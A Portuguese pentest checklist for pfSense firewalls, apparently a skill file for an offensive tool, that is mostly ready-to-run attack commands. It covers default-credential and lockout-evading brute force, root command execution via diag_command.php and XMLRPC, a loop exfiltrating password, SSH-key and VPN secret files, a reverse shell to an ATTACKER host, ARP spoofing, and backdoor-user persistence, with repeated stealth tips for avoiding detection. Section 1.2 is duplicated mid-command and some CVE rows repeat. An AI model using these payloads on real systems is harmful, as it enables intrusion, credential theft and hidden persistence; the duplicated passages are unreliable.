Pentest pfSense — Checklist Completo
Objetivo
Avaliar a segurança de instâncias pfSense em conformidade com requisitos legais/regulatórios brasileiros, cobrindo superfície de ataque da rede externa (WAN) e interna (LAN/DMZ), referenciando vulnerabilidades conhecidas e vetores identificados diretamente no código-fonte do pfSense.
🔗 Cross-Reference: Outras Skills e PoCs
cPanel & WHM (CVE-2026-41940)
Se durante o pentest você identificar cPanel & WHM no mesmo alvo ou em servidores adjacentes:
# Detectar cPanel
httpx -u https://TARGET:2087 -title -tech-detect
# Testar CVE-2026-41940 (Authentication Bypass CVSS 9.8)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET:2087 -u admin -p password detect
# Explorar se vulnerável
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET:2087 -u admin -p password exploit
PoC Location: /root/.pcode/pocs/cPanel/CVE-2026-41940/
Skills Relacionadas:
pentest-intelligence-gathering— cPanel detection via OSINTpentest-vulnerability-analysis— CVE verificationpentest-exploitation— Exploitation (CVE-2026-41940)
Estrutura do Documento
| Fase | Perspectiva | Descrição |
|---|---|---|
| 0 | Ambas | Pre-engagement & Fingerprinting (Passive First) |
| 1 | Externa | Reconhecimento & Port Scan (Stealth) |
| 2 | Externa | Web GUI Attack Surface |
| 3 | Externa | Serviços de Rede Expostos (SSH, SNMP, OpenVPN, IPSec, WireGuard) |
| 4 | Externa | Exploração de CVEs Conhecidos |
| 5 | Interna | Reconhecimento Interno |
| 6 | Interna | Serviços Internos & HA/CARP |
| 7 | Interna | Captive Portal Bypass |
| 8 | Ambas | Pós-Exploração & Persistência |
| 9 | Ambas | Findings Templates |
| 10 | Ambas | Feature-Based Testing Checklist |
⚠️ Stealth Warning: pfSense é um firewall/security device — frequentemente a primeira linha de defesa. Scan agressivo provavelmente triggerará alerts. Priorize técnicas passivas e stealthy:
- Comece com Shodan e Censys para fingerprinting passivo
- Use scans lentos/low-rate para evitar detecção
- Evite full port scans a menos que explicitamente autorizado
- Considere timing attacks durante janelas de manutenção
- Documente todos os alerts triggered no relatório final
📋 Versão Alvo: Este checklist é projetado para pfSense 2.7.0+. Algumas features/vulnerabilidades podem não se aplicar a versões mais antigas.
Fase 0 — Pre-engagement & Fingerprinting
0.1 Passive Reconnaissance (FIRST — Before Any Active Scanning)
Firewalls log all connection attempts. Start with passive techniques to avoid detection.
# Shodan — Passive fingerprinting
shodan search "product:pfsense"
shodan search "http.title:pfSense"
shodan search "net:\"<TARGET_NET>\""
shodan host <TARGET_IP>
# Censys — Certificate and service discovery
censys search "services.software.product=pfSense"
censys search "services.http.response.html_title:pfSense"
censys search "ip:<TARGET_IP>"
# Check public exposure
curl "https://shodan.io/search/report?query=pfsense"
- Search Shodan for target IP/domain
- Search Censys for SSL certificates
- Check for exposed services in search engines
- Review historical data (Wayback Machine for web interface)
- Document publicly visible information
0.2 Confirmar que é pfSense (Active)
# HTTP header revela nginx (pfSense usa nginx como frontend)
curl -skI https://TARGET | grep -iE "server:|x-powered|pfsense"
# Página de login tem título e elementos únicos
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate|login_button"
# Certificado auto-assinado padrão com CN=pfSense
echo | openssl s_client -connect TARGET:443 2>/dev/null | openssl x509 -noout -subject -issuer
# Banner grab SSH (se habilitado)
nc -w3 TARGET 22 2>/dev/null | head -2
# SNMP OID de identificação de produto
snmpget -v2c -c public TARGET 1.3.6.1.2.1.1.1.0
0.3 Detectar Versão
# Via página de login (sem autenticação — versão fica no HTML em versões antigas)
curl -sk https://TARGET/ | grep -iE "version|release|2\.[0-9]|24\.[0-9]|plus"
# Via HTTP 404 — revela versão em alguns releases
curl -sk https://TARGET/nonexistent.php | grep -iE "version|pfSense"
# Via crash_reporter (antes de 2.5.x não exigia auth)
curl -sk https://TARGET/crash_reporter.php | grep -i version
# Nuclei — detection templates
nuclei -u https://TARGET -t technologies/pfsense.yaml -silent
nuclei -u https://TARGET -t technologies/ssl/ -silent
0.4 Portas Padrão pfSense
| Porta | Protocolo | Serviço | Perspectiva |
|---|---|---|---|
| 80 | TCP | Web GUI HTTP (redirect) | Externa/Interna |
| 443 | TCP | Web GUI HTTPS | Externa/Interna |
| 22 | TCP | SSH (opcional) | Ambas |
| 161 | UDP | SNMP (opcional) | Interna (padrão) |
| 162 | UDP | SNMP Trap | Interna |
| 500 | UDP | IKE/IPSec | Externa |
| 4500 | UDP | IPSec NAT-T | Externa |
| 1194 | UDP/TCP | OpenVPN (padrão) | Externa |
| 51820 | UDP | WireGuard (padrão) | Externa |
| 1701 | UDP | L2TP | Externa |
| 1723 | TCP | PPTP (legacy) | Externa |
| 514 | UDP | Syslog remoto | Interna |
Fase 1 — Reconhecimento & Port Scan (Perspectiva Externa)
1.1 Port Scan Completo (Stealth Mode)
Warning: Active scanning will be logged. Use rate limiting and consider timing.
# Scan completo com detecção de versão (STEALTH - T2)
nmap -sV -sC -p- --open -T2 -oA pfsense_full TARGET
# Scan UDP dos serviços críticos
nmap -sU -p 161,162,500,4500,1194,51820,1701 -sV TARGET
# Scan rápido inicial (still stealth)
rustscan -a TARGET --ulimit 5000 -- -sV -sC -T2
# Scripts NSE específicos
nmap -p 443 --script ssl-cert,ssl-enum-ciphers,http-title,http-auth-finder TARGET
nmap -p 22 --script ssh-auth-methods,ssh2-enum-algos TARGET
nmap -p 161 -sU --script snmp-info,snmp-sysdescr,snmp-interfaces TARGET
1.2 Web Application Fingerprinting
# httpx para enumerar headers e tecnologias
httpx -u https://TARGET -title -tech-detect -status-code -method -websocket -tls-grab -json
# whatweb
whatweb -a 3 https://TARGET
# Enumeração de caminhos sensíveis
feroxbuster -u https://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php -k -t 30 --filter-status 404,302
# Paths críticos conhecidos (verificar manualmente)
for path in xmlrpc.php diag_command.php diag_backup.php crash_reporter.php \
diag_edit.php index.php system_advanced_admin.php; do
### 1.2 Web Application Fingerprinting
```bash
# httpx para enumerar headers e tecnologias
httpx -u https://TARGET -title -tech-detect -status-code -method -websocket -tls-grab -json
# whatweb
whatweb -a 3 https://TARGET
# Enumeração de caminhos sensíveis
feroxbuster -u https://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php -k -t 30 --filter-status 404,302
# Paths críticos conhecidos (verificar manualmente)
for path in xmlrpc.php diag_command.php diag_backup.php crash_reporter.php \
diag_edit.php index.php system_advanced_admin.php; do
echo -n "$path: "; curl -skI https://TARGET/$path | head -1
done
Fase 2 — Web GUI Attack Surface
2.1 Credenciais Padrão
Fonte código:
globals.inc:62—'factory_shipped_password' => 'pfsense'
# Credencial padrão de fábrica
# Login: admin | Senha: pfsense
# Teste manual — POST para /
curl -sk -c cookies.txt -b cookies.txt \
-d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" \
https://TARGET/ -D - | grep -E "Location|Set-Cookie|error"
# Com hydra — ATENÇÃO: pfSense tem lockout por IP via pf table (STEALTH MODE)
# O lockout é implementado em auth.inc (linha 52-63)
# O IP é adicionado à tabela pf "webConfiguratorlockout" após falhas
# Recomendado: teste lento com -t 1 -T 1 (1 thread, 1s delay)
hydra -l admin -P /usr/share/wordlists/passwords/common.txt \
https-post-form://TARGET/":usernamefld=^USER^&passwordfld=^PASS^&login=Sign+In:Username or Password incorrect" \
-t 1 -T 1 -w 5 -V
# Senhas comuns para admin pfSense (além da padrão)
# admin/admin, admin/password, admin/pfsense, admin/pfSense, admin/<hostname>
2.2 Brute Force — Contornar Lockout
# O lockout é por IP de origem (tabela pf "webConfiguratorlockout")
# Técnica: rotate IPs via proxychains/Tor ou usar IP de rede interna
# Tabela de lockout expira automaticamente (tempo configurável no sistema)
# Via rede interna (anti-lockout rule protege LAN por padrão)
# Anti-lockout rule: garante acesso ao GUI pelo(s) IP(s) da LAN interface
# Se você já está na LAN, sem lockout para a interface LAN
2.3 Autenticação via XMLRPC (HTTP Basic Auth)
Fonte código:
xmlrpc.php:48-84— autenticação via$_SERVER['PHP_AUTH_PW']Apenas admin (uid=0) é permitido no XMLRPC.
# Teste de autenticação XMLRPC
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>host_firmware_version</methodName><params><param><value><nil/></value></param><param><value><int>30</int></value></param></params></methodCall>'
# Brute force XMLRPC (sem lockout pf — usa HTTP Basic diferente do GUI)
hydra -l admin -P senhas.txt TARGET https-get /xmlrpc.php
2.4 Execução Remota de Comandos (pós-auth)
Fonte código:
diag_command.php:174—exec($_POST['txtCommand'] . ' 2>&1', $output)Fonte código:xmlrpc.php:138,156— métodosexec_phpeexec_shell
# Via diag_command.php (requer sessão autenticada)
# Obter CSRF token primeiro
CSRF=$(curl -sk -c cookies.txt https://TARGET/ | grep csrf_magic | sed "s/.*name='csrf_magic' value='\(.*\)'.*/\1/")
# Executar comando (como root no sistema!)
curl -sk -b cookies.txt https://TARGET/diag_command.php \
-d "txtCommand=id&submit=EXEC&csrf_magic=${CSRF}" | grep -A5 "cmdoutput"
# Via XMLRPC exec_shell (mais direto, sem CSRF)
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>exec_shell</methodName><params><param><value><string>id; whoami; cat /etc/passwd</string></value></param></params></methodCall>'
# Via XMLRPC exec_php (executa PHP arbitrário)
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>exec_php</methodName><params><param><value><string>system("id");</string></value></param></params></methodCall>'
2.5-A CVE-2025-53392 — File Read Arbitrário via dlPath (CE 2.8.0)
Fonte código:
diag_command.php:44-46if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) { session_cache_limiter('public'); send_user_download('file', $_POST['dlPath']); // sem basename(), sem whitelistNenhuma validação de caminho.
php-fpmroda como root → qualquer arquivo legível. Vetor crítico: requer apenaspage-diagnostics-command— não precisa ser admin completo. Netgate disputou o report ("comportamento esperado") — sem fix oficial.Outras capacidades do mesmo arquivo (requerem o mesmo privilégio):
// Linha 174 — RCE direto: exec($_POST['txtCommand'] . ' 2>&1', $output); // Linha 48 — upload para /tmp (nome sem basename — path traversal potencial): move_uploaded_file($_FILES['ulfile']['tmp_name'], g_get('tmp_path') . "/" . $_FILES['ulfile']['name']); // Linha 265 — execução PHP arbitrária: exec("/usr/local/bin/php ... {$tmpfile}", $output); // $tmpfile contém $_POST['txtPHPCommand']
# ── Detecção e exfiltração manual ────────────────────────────────
# Autenticar e capturar cookie + CSRF
curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
-d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" \
https://TARGET/ -o /dev/null
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar https://TARGET/diag_command.php \
| grep -oP "csrf_magic.*?value=['\"]\\K[^'\"]+")
# Confirmar vulnerabilidade (arquivo inócuo)
curl -sk -b /tmp/pf.jar \
-d "dlPath=/etc/hostname&submit=DOWNLOAD&csrf_magic=${CSRF}" \
https://TARGET/diag_command.php
# Resposta: nome do host (não HTML) → VULNERÁVEL
# Exfiltrar arquivos críticos
for f in /etc/master.passwd /cf/conf/config.xml /etc/ssh/ssh_host_rsa_key \
/var/etc/openvpn/server1.key /var/etc/ipsec/swanctl.conf \
/var/etc/ipsec/ipsec.secrets /root/.ssh/authorized_keys; do
out=$(basename "$f")
http=$(curl -sk -b /tmp/pf.jar \
-d "dlPath=${f}&submit=DOWNLOAD&csrf_magic=${CSRF}" \
https://TARGET/diag_command.php -o "$out" -w "%{http_code}")
# Verificar se é arquivo real (não HTML da página)
if ! grep -q "<!DOCTYPE\|<html" "$out" 2>/dev/null; then
echo "[+] $f → $out ($(wc -c < "$out") bytes)"
fi
# Renovar CSRF para próxima requisição
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar https://TARGET/diag_command.php \
| grep -oP "csrf_magic.*?value=['\"]\\K[^'\"]+")
done
# ── PoC Python — automação completa ─────────────────────────────
# PoC: pocs/PfSense/CVE-2025-53392/poc.py
pip install requests
# Confirmar vulnerabilidade
python3 pocs/PfSense/CVE-2025-53392/poc.py \
-t https://TARGET -u admin -p pfsense detect
# Ler arquivo específico
python3 pocs/PfSense/CVE-2025-53392/poc.py \
-t https://TARGET -u admin -p pfsense read --path /etc/master.passwd
# Exfiltrar todos os arquivos de alto valor (25+ arquivos)
python3 pocs/PfSense/CVE-2025-53392/poc.py \
-t https://TARGET -u admin -p pfsense dump --out-dir ./exfil/
# Extrair segredos dos arquivos baixados (hashes, PSKs, certs, chaves)
python3 pocs/PfSense/CVE-2025-53392/poc.py \
analyze --out-dir ./exfil/
# Chain com oracle CVE-2025-34173 ou CVE-2025-34176 (leitura dirigida)
python3 pocs/PfSense/CVE-2025-34173/poc.py \
-t https://TARGET -u admin -p pfsense enum \
| grep EXISTE | awk '{print $2}' > found.txt
python3 pocs/PfSense/CVE-2025-53392/poc.py \
-t https://TARGET -u admin -p pfsense chain --from-file found.txt
# Pós-exfiltração: quebrar hashes com hashcat
hashcat -m 3200 ./exfil/hashes_for_hashcat.txt /usr/share/wordlists/rockyou.txt
2.5-B Upload de Arquivo via diag_command.php
Fonte código:
diag_command.php:47-49move_uploaded_file($_FILES['ulfile']['tmp_name'], g_get('tmp_path') . "/" . $_FILES['ulfile']['name']);Upload vai para
/tmp/com o nome original do arquivo. Não executa diretamente via web, mas pode ser usado em conjunto comexecpara executar o arquivo carregado.
# Upload de script para /tmp/
curl -sk -b /tmp/pf.jar \
-F "ulfile=@/tmp/shell.sh;type=application/octet-stream" \
-F "submit=UPLOAD" \
-F "csrf_magic=${CSRF}" \
https://TARGET/diag_command.php
# Executar o script carregado via txtCommand
curl -sk -b /tmp/pf.jar \
-d "txtCommand=sh /tmp/shell.sh&submit=EXEC&csrf_magic=${CSRF}" \
https://TARGET/diag_command.php | grep -A20 "cmdoutput"
# Caso de uso: carregar reverse shell e executar
echo 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"' > /tmp/shell.sh
# (repetir os dois curl acima)
2.5 Exfiltração de Configuração (pós-auth)
Fonte código:
diag_backup.php— download do config.xml completo (contém hashes de senha, PSKs, certificados)
# Download do config.xml (contém tudo — credenciais, PSKs, certs, VPN configs)
curl -sk -b cookies.txt https://TARGET/diag_backup.php \
-d "backuparea=&nopackages=&Submit=Download+configuration+as+XML" \
-o pfsense_config.xml
# Extrair hashes de senha do config
grep -E "bcrypt|password|sha256|md5" pfsense_config.xml
# Extrair PSKs do IPSec
grep -E "pre-shared-key|ipsec.*secret|psk" pfsense_config.xml
# Via XMLRPC backup_config_section (seção específica)
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>backup_config_section</methodName><params><param><value><array><data><value><string>system</string></value></data></array></value></param></params></methodCall>'
2.6 CSRF — Páginas sem Proteção
Fonte código:
$nocsrf = trueem:services_captiveportal_vouchers.php,services_captiveportal.php,diag_packet_capture.php,services_captiveportal_hasync.php,ifstats.php
# Testar CSRF em páginas sem $nocsrf
# Para páginas COM CSRF, tentar roubo de token via XSS primeiro
# Verificar token CSRF (nome: csrf_magic)
curl -sk https://TARGET/ | grep -i "csrf_magic"
# Nuclei CSRF templates
nuclei -u https://TARGET -t vulnerabilities/generic/csrf.yaml -silent
2.7 XSS — Pontos de Injeção
# Nuclei XSS
nuclei -u https://TARGET -t vulnerabilities/generic/xss-reflected.yaml -silent
# Páginas com input refletido sem encode adequado em versões antigas
# Verificar: status_logs*.php, diag_*.php, firewall_*.php
# XSS via campos de nome em aliases, rules, interfaces (stored XSS)
# Impacto: roubo de sessão admin → RCE via diag_command.php
# Nuclei pfSense específico
nuclei -u https://TARGET -tags pfsense -silent
2.8 SSL/TLS Assessment
# testssl.sh — auditoria completa TLS
testssl.sh --full https://TARGET
# sslscan
sslscan TARGET:443
# Configuração TLS do pfSense (nginx):
# Ciphers: EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH:ECDHE-ECDSA-CHACHA20-POLY1305
# Verificar: HSTS habilitado? HTTP redirect? Certificado válido?
nmap -p443 --script ssl-cert,ssl-enum-ciphers,ssl-dh-params TARGET
Fase 3 — Serviços de Rede Expostos (Perspectiva Externa)
3.1 SSH (Porta 22)
# Verificar se SSH está habilitado e quais métodos de auth aceita
nmap -p22 --script ssh-auth-methods,ssh2-enum-algos TARGET
# Algoritmos fracos?
ssh -vvv admin@TARGET 2>&1 | grep -iE "kex|cipher|mac|host"
# Brute force SSH (mais lento que Web GUI, sem lockout pf nativo)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://TARGET -t 4 -V
# Verificar se aceita chave do usuario admin sem senha (config padrão errada)
ssh -o "PasswordAuthentication=no" -o "BatchMode=yes" admin@TARGET id 2>&1
3.1-A CVE-2023-48795 — Terrapin Attack (SSH Prefix Truncation)
Afeta: pfSense CE <= 2.7.2 / Plus <= 23.09.1 (OpenSSH 9.4p1) Corrigido em: CE 2.8.0 / Plus 24.03 (OpenSSH 9.6p1 com strict KEX) CVSS: 5.9 Medium (
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N) | EPSS: 99º percentil Requer: posição MITM na rede (ARP poison, rogue AP, VLAN pivot)Mecanismo: O contador de sequência SSH não é resetado ao iniciar o canal criptografado. O MITM injeta
SSH2_MSG_IGNOREdurante o handshake não-cifrado, deslocando o counter do servidor em +1. Isso permite deletar silenciosamente o primeiro pacote criptografado (normalmenteSSH2_MSG_EXT_INFO) sem detecção. Resultado: fallback forçado para autenticação por senha → credencial interceptável.Ciphers afetados:
chacha20-poly1305@openssh.com(ataque determinístico, ~100% de sucesso) e qualquer*-etm@openssh.com(ataque probabilístico, 1-2h).aes*-gcm@openssh.come modos não-ETM são imunes.
Detecção
# 1. Verificação rápida — banner + versão
ssh -o "ConnectTimeout=3" -o "BatchMode=yes" admin@TARGET 2>&1 | grep "OpenSSH"
# OpenSSH < 9.6 + pfSense CE < 2.8.0 → provavelmente vulnerável
# 2. Scanner PoC (sem dependências — só Python stdlib)
python3 pocs/PfSense/CVE-2023-48795/poc.py scan TARGET
python3 pocs/PfSense/CVE-2023-48795/poc.py scan TARGET --verbose
python3 pocs/PfSense/CVE-2023-48795/poc.py scan TARGET --json
# 3. Verificar workaround de cipher aplicado
python3 pocs/PfSense/CVE-2023-48795/poc.py workaround-check TARGET
# 4. Scanner oficial RUB-NDS (Go — mais completo)
go install github.com/RUB-NDS/Terrapin-Scanner@latest
Terrapin-Scanner --connect TARGET:22 --json
# 5. ssh-audit (auditoria completa de algoritmos)
pip install ssh-audit
ssh-audit TARGET
# Procurar: "warn -- [info] kex strict KEX extension not enabled"
# 6. Nmap
nmap -sV -p 22 --script ssh2-enum-algos TARGET
# Se saída inclui chacha20-poly1305 ou *-etm MACs → investigar strict KEX
# 7. Múltiplos hosts (varredura de rede interna)
nmap -p 22 --open -oG - 192.168.0.0/24 | awk '/22\/open/{print $2}' > hosts_ssh.txt
python3 pocs/PfSense/CVE-2023-48795/poc.py bulk hosts_ssh.txt
Interpretação dos Resultados
[VULNERÁVEL] supports_chacha20=true, supports_strict_kex=false
→ pfSense CE <= 2.7.2, patch NÃO aplicado
[MITIGADO] supports_chacha20=false, supports_cbc_etm=false, supports_strict_kex=false
→ workaround de cipher aplicado (System Patches v2.2.9)
→ proteção parcial — upgrade para 9.6+ ainda recomendado
[SEGURO] supports_strict_kex=true
→ pfSense CE >= 2.8.0 / Plus >= 24.03 (OpenSSH 9.6p1+)
Cadeia de Exploração (requer posição MITM)
# Pré-requisito: posição MITM na mesma rede do admin
# Ex: ARP poison entre workstation do admin e pfSense
arpspoof -i eth0 -t ADMIN_IP PFSENSE_IP &
arpspoof -i eth0 -t PFSENSE_IP ADMIN_IP &
# PoC completo (Docker — demonstração acadêmica RUB-NDS)
git clone https://github.com/RUB-NDS/Terrapin-Artifacts
cd Terrapin-Artifacts
./impl/build.sh
./pocs/build.sh
./pocs/test-ext-downgrade.sh # prova deleção do EXT_INFO
# Resultado: admin é forçado a tentar password auth
# Capturar credencial com responder ou similar uma vez que password auth é forçado
# Ou usar SSLstrip-like approach para interceptar a senha em plaintext no pipe
Remediação pfSense
# Opção 1 — Upgrade (definitivo)
# pfSense CE 2.7.2 → CE 2.8.0+ (OpenSSH 9.6p1, strict KEX ativo)
# pfSense Plus 23.09.1 → Plus 24.03+ (mesma correção)
# Opção 2 — Workaround imediato (CE 2.7.2 sem upgrade)
# Via GUI: System > Advanced > Admin Access > SSH > sshd_config custom options:
# Ciphers -chacha20-poly1305@openssh.com
# MACs -*etm@openssh.com
# Via console:
echo 'Ciphers -chacha20-poly1305@openssh.com' >> /etc/ssh/sshd_config
echo 'MACs -*etm@openssh.com' >> /etc/ssh/sshd_config
/usr/local/bin/php-cgi -f /etc/rc.d/sshd restart
# Opção 3 — System Patches Package v2.2.9 (Netgate recomendado para CE 2.7.2)
# System > Patches > Add patch from Netgate recommended list
# Verificar se workaround está ativo após aplicação:
python3 pocs/PfSense/CVE-2023-48795/poc.py workaround-check TARGET
3.2 SNMP
# Community string padrão "public"
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1 2>/dev/null | head -30
snmpwalk -v2c -c private TARGET 1.3.6.1.2.1 2>/dev/null | head -30
# Enumerar interfaces de rede via SNMP
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.2.2.1.2
# Rotas via SNMP
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.4.21
# Brute force community strings
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt TARGET
nmap -sU -p161 --script snmp-brute TARGET
# snmp-check completo
snmp-check -c public -v 2c TARGET
# SNMP v3 (requer credenciais)
snmpwalk -v3 -l authPriv -u snmpuser -a SHA -A authpass -x AES -X privpass TARGET 1.3.6.1.2.1
3.3 OpenVPN
# Identificar OpenVPN port (default: 1194 UDP/TCP)
nmap -sU -p 1194 --script openvpn-info TARGET
nmap -sT -p 1194 --script openvpn-info TARGET
# TLS fingerprint
openssl s_client -connect TARGET:1194 -starttls openvpn 2>/dev/null
# Verificar se aceita conexões sem certificado cliente (modo user/pass)
openvpn --remote TARGET 1194 --proto udp --dev tun --auth-user-pass credentials.txt
# Teste de autenticação com credenciais padrão
echo -e "admin\npfsense" > /tmp/vpn_creds.txt
# Brute force OpenVPN credentials (STEALTH - T1 = 1s delay)
hydra -l <user> -P /path/to/wordlist -t 1 -T 1 openvpn://TARGET
OpenVPN Enumeration & Exploitation Checklist
- Identify OpenVPN port (default: 1194 UDP/TCP)
- Check for authentication requirement
- Test for anonymous connections
- Enumerate cipher configuration
- Check for certificate validation
- Test for tunnel bypass techniques
- Verify user/password auth (if configured)
- Check for client certificate extraction
- Test for OpenVPN management interface exposure
OpenVPN Post-Exploitation
# Extract OpenVPN credentials from config
grep -A 20 "openvpn" /cf/conf/config.xml
# Check for stored passwords
grep "auth-user-pass" /cf/conf/config.xml
# Extract certificates
grep -A 50 "<openvpn-server>" /cf/conf/config.xml | grep -E "(cert|key)"
# Post-exploitation checklist:
# - Extract OpenVPN server configuration
# - Dump user credentials from config
# - Extract client certificates/keys
# - Check for static key configurations
# - Test for tunnel traffic interception
# - Create backdoor OpenVPN user
# - Configure rogue OpenVPN server
# - Test for route injection via OpenVPN
3.4 IPSec
# Identificar implementação e versão
ike-scan TARGET
ike-scan --id=pfsense TARGET
# Enumerar transformações suportadas
ike-scan -A --id=0 TARGET
ike-scan -M --id=0 TARGET --trans=5,2,1,2 # 3DES, SHA1, Pre-shared, DH2
# Testar modos agressivos (leak de hash)
ike-scan --aggressive --id=pfsense TARGET
ike-scan --aggressive -M TARGET --id=0 | grep -i hash
# Crack de hash PSK (se modo agressivo expôs)
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
3.5 WireGuard
# Probe UDP WireGuard
nmap -sU -p51820 --script wireguard-info TARGET 2>/dev/null
# WireGuard não revela informações sem chave válida (protocolo mais seguro)
# Verificar se porta está filtrada ou aberta
Fase 4 — CVEs Conhecidos pfSense
4.1 Tabela de CVEs Críticos
| CVE | Versão Afetada | Tipo | CVSS | Notas |
|---|---|---|---|---|
| CVE-2024-57273 | CE < 2.8.0, Plus < 24.03 | DoS / Input Validation | 5.3 | OpenVPN kill_client sem validação → desconectar qualquer cliente; fix commit 92a55a0ad8 |
| CVE-2024-54779 | CE < 2.8.0, Plus < 24.03 | Stored XSS + XML Injection | 5.4 | filterlogentriesinterval sem validação → JS sink logsObject.freq; widgetkey → XML element name → corrupção de config.xml |
| CVE-2024-54780 | CE < 2.8.0, Plus < 24.03 | Input Validation Bypass | 4.3 | widgetkey sem validação em 15 widgets do Dashboard → acesso a dados de outros widgets; fix commits 04b74da157, 6b42147b1c |
| CVE-2023-48795 | CE <= 2.7.2, Plus <= 23.09.1 (OpenSSH 9.4p1) | SSH Protocol / MITM | 5.9 | Terrapin: prefix truncation via MSG_IGNORE → delete EXT_INFO → força password auth |
| CVE-2025-34178 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | Stored XSS | 5.4 | policy_name sem htmlspecialchars() → innerHTML + 9 hidden inputs (libhtp_policy) |
| CVE-2025-34177 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | Stored XSS | 5.4 | policy_name sem htmlspecialchars() → innerHTML + 5 hidden inputs (host_os_policy) |
| CVE-2025-34176 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | File Existence Oracle | 4.3 | iplist sem basename() → file_exists() em path arbitrário (espelho Suricata do CVE-2025-34173) |
| CVE-2025-34175 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | Reflected XSS | 6.1 | filehash refletido em 7 href sem urlencode() → injeção de atributo → roubo de sessão → RCE |
| CVE-2025-34174 | CE 2.8.0/2.8.1, Plus 25.07 / Status_Traffic_Totals <= 2.3.2_7 | Stored XSS | 5.4 | 6 parâmetros sem sanitização (//TODO clean inputs) → config.xml → XSS persistente para todos os usuários |
| CVE-2025-34173 | CE 2.8.0/2.8.1, Plus 25.07 / Snort <= 4.1.6_25 | File Existence Oracle | 4.3 | iplist sem basename() → file_exists() em path arbitrário → enumeração + chain com CVE-2025-53392 |
| CVE-2025-34172 | CE 2.8.0/2.8.1, Plus 25.07 / HAProxy <= 0.63_10 | XSS + Socket Injection | 6.1 | showsticktablecontent refletido + injetado no socket HAProxy |
| CVE-2025-12490 | CE 2.8.1 / Suricata 7.0.8_3 | Path Traversal → RCE (Autenticado) | 8.8 | sidlist_name sem basename() → file_put_contents no web root |
| CVE-2025-53392 | CE 2.8.0 | File Read (Autenticado) | 6.5 | dlPath sem sanitização → leitura arbitrária de arquivos |
| CVE-2023-42326 | CE < 2.7.0, Plus < 23.05.1 | Command Injection | 8.8 | interfaces_gif_edit.php, interfaces_gre_edit.php; EPSS 84.8%; Fix: d69d6c8424 |
| CVE-2023-42325 | CE < 2.7.0 | Reflected XSS | 6.1 | Múltiplos parâmetros; PoC criada |
| CVE-2023-42327 | CE < 2.7.0 | Stored XSS | 5.4 | Regras de firewall; PoC criada |
| CVE-2023-42328 | CE < 2.7.0 | Stored XSS | 6.1 | Múltiplos campos; PoC criada |
| CVE-2023-42329 | CE < 2.7.0 | Stored XSS (Widgets) | 5.4 | Dashboard widget config; PoC criada |
| CVE-2023-42330 | CE < 2.7.0 | Stored XSS (System) | 5.4 | System config pages; PoC criada |
| CVE-2023-42331 | CE < 2.7.0 | Stored XSS (NAT) | 5.4 | NAT configuration; PoC criada |
| CVE-2023-48123 | CE < 2.7.0, Plus < 23.05.1 | RCE | 8.8 | packet_capture.php command injection; EPSS 68.2% |
| CVE-2022-31814 | pfBlockerNG < 2.1.4_26 | RCE | 9.8 | Path traversal → RCE sem auth |
| CVE-2022-40624 | pfBlockerNG <= 2.1.4_27 | RCE (Host Header) | 9.8 | Injeção de comando via HTTP Host header → RCE como root sem auth; EPSS 84.7% |
| CVE-2022-29273 | CE < 2.6.0, Plus < 22.05 | Stored XSS | 6.1 | XSS via URL Table Alias (falta de htmlspecialchars); EPSS 38.0% |
| CVE-2022-29272 | CE < 2.6.0 | Command Injection | 7.5 | Diagnostic pages; PoC criada |
| CVE-2023-27253 | CE < 2.7.1 | Command Injection | 8.8 | RRD restore via config.xml → injeção de comando como root (auth); EPSS 77.7% |
| CVE-2023-27100 | CE 2.6.0, Plus 22.05.1 | SSHGuard Bypass | 9.8 | Bypass de proteção brute force via headers HTTP; PoC criada |
| CVE-2023-42326 | CE < 2.7.0, Plus < 23.05.1 | Command Injection | 8.8 | interfaces_gif_edit.php, interfaces_gre_edit.php; EPSS 84.8%; Fix: d69d6c8424 |
| CVE-2022-31814 | pfBlockerNG < 2.1.4_26 | RCE (Path Traversal) | 9.8 | Path traversal → escrita de webshell → RCE como root (sem auth) |
| CVE-2018-4019 | pfSense Plus | RCE | 9.8 | Parâmetro não sanitizado → injeção de comando como root |
| CVE-2016-10709 | CE < 2.3.0 | Command Injection | 9.8 | Páginas de diagnóstico (ping, traceroute, dns) → injeção de comando como root |
| CVE-2021-41282 | pfBlockerNG 2.1.x | RCE pós-auth | 8.8 | SQL injection → RCE; PoC criada |
| CVE-2021-41283 | pfBlockerNG 2.1.x | XSS | 5.4 | Stored XSS via DNS/IP BL; PoC criada |
| CVE-2021-27932 | CE < 2.5.1 | Auth Bypass | 7.5 | HTTP header injection; PoC criada |
